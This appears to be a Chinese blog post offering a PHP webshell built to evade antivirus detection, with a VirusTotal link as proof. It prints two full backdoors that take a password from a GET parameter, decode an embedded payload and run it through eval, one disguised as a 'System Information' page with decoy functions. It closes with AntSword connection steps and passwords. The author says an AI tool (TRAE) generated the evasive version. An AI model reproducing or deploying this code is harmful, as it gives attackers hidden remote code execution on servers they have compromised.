security - !!! 一句话免杀 php webshell anti-virus virustotal.com

访问量: 414

这个简直太强大了 。（使用时注意看下图中的两个密码）

http://deathnote.vuln/wordpress/wp-content/plugins/good2/webshell.php?pass=pureqh

密码: zero 

注意：2025。完美反杀，在下面，使用TRAE 帮我生成的

新版本：（完美免杀）

https://www.virustotal.com/gui/file/dc7fbd2b7a0061db6ff8f4fd0d77022eaa295801825816cb04ad71fae87069cc?

nocache=1 

password: pureqh
secret: zero

<?php

function validateAccess($input) {
    return isset($input) && md5($input) == "df24bfd1325f82ba5fd3d3be2450096e";
}

function encodeData($data) {
    return base64_encode(str_rot13($data));
}

function decodeData($data) {
    return str_rot13(base64_decode($data));
}

function processData($payload) {
    $result = '';
    for ($i = 0; $i < strlen($payload); $i++) {
        $result .= chr(ord($payload[$i]) ^ 0x42);
    }
    return $result;
}

function verifyPayload($data) {
    $expected = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
    return $data === $expected;
}

function executePayload($code) {
    if (!empty($code)) {
        @eval("/*CTF*/" . $code . "/*Challenge*/");
    }
}

class SecurityHandler {
    private $authToken;
    private $encodedPayload;
    private $decodedContent;
    
    public function __construct($token = null) {
        $this->authToken = $token;
        $this->initialize();
    }
    
    private function initialize() {
        if (validateAccess($this->authToken)) {
            $this->encodedPayload = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
            if (verifyPayload($this->encodedPayload)) {
                $this->decodedContent = @$this->decodeBase32($this->encodedPayload);
                $this->execute();
            }
        }
    }
    
    private function execute() {
        executePayload($this->decodedContent);
    }
    
    // Base32解码实现
    private function decodeBase32($input) {
        $output = '';
        $value = 0;
        $bits = 0;
        
        for ($i = 0, $len = strlen($input); $i < $len; $i++) {
            $value <<= 5;
            
            if ($input[$i] >= 'a' && $input[$i] <= 'z') {
                $value += (ord($input[$i]) - 97);
            } elseif ($input[$i] >= '2' && $input[$i] <= '7') {
                // 修改了这里的逻辑以增加混淆
                $charValue = ord($input[$i]) - 48;
                $value += (16 + $charValue + 8);
            } else {
                // 使用return替代exit以增加混淆
                return null;
            }
            
            $bits += 5;
            
            while ($bits >= 8) {
                $bits -= 8;
                $output .= chr($value >> $bits);
                $value &= ((1 << $bits) - 1);
            }
        }
        
        return $output;
    }
    
    // 添加一个无害的辅助函数以增加代码复杂度
    public function getStatus() {
        return "active";
    }
}

function helperFunction1() {
    $data = array("status" => "ok", "version" => "1.0");
    return json_encode($data);
}

function helperFunction2($input) {
    return strlen($input) > 0 ? true : false;
}

// 主执行逻辑
$pass = isset($_GET["pass"]) ? $_GET["pass"] : null;
$handler = new SecurityHandler($pass);

?>
<!DOCTYPE html>
<html>
<head>
    <title>System Information</title>
</head>
<body>
    <h1>System Information</h1>
    <p>Server: <?php echo $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'; ?></p>
    <p>PHP Version: <?php echo phpversion(); ?></p>
    <p>Status: <?= helperFunction1() ?></p>
</body>
</html>

一直以来我以为无法过是因为 eval 的原因， 看了很多免杀，都是使用assert

php 7.1 以后就无法使用assert 了。

所以看起来还是没问题的。

估计以后 使用自行加密、解密的方式是绕过的主流

<?php
class PLRN{
  public $DLUG = null;
  public $FVRE = null;
  function __construct(){
    if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){
      $this->DLUG = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
      $this->FVRE = @XGAV($this->DLUG);
      @eval("/*M]Eq[%e*/".$this->FVRE."/*M]Eq[%e*/");
    }
  }
}
new PLRN();
function NXUM($NHML){
    $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
    $DTSE = '';
    $v = 0;
    $vbits = 0;
    for ($i = 0, $j = strlen($NHML); $i < $j; $i++){
    $v <<= 8;
        $v += ord($NHML[$i]);
        $vbits += 8;
        while ($vbits >= 5) {
            $vbits -= 5;
            $DTSE .= $BASE32_ALPHABET[$v >> $vbits];
            $v &= ((1 << $vbits) - 1);}}
    if ($vbits > 0){
        $v <<= (5 - $vbits);
        $DTSE .= $BASE32_ALPHABET[$v];}
    return $DTSE;}
function XGAV($NHML){
    $DTSE = '';
    $v = 0;
    $vbits = 0;
    for ($i = 0, $j = strlen($NHML); $i < $j; $i++){
        $v <<= 5;
        if ($NHML[$i] >= 'a' && $NHML[$i] <= 'z'){
            $v += (ord($NHML[$i]) - 97);
        } elseif ($NHML[$i] >= '2' && $NHML[$i] <= '7') {
            $v += (24 + $NHML[$i]);
        } else {
            exit(1);
        }
        $vbits += 5;
        while ($vbits >= 8){
            $vbits -= 8;
            $DTSE .= chr($v >> $vbits);
            $v &= ((1 << $vbits) - 1);}}
    return $DTSE;}
?>

使用方式：在antsword中，连接， http://target.com/shell.php?pass=pureqh

连接密码zero

订阅/RSS Feed

Subscribe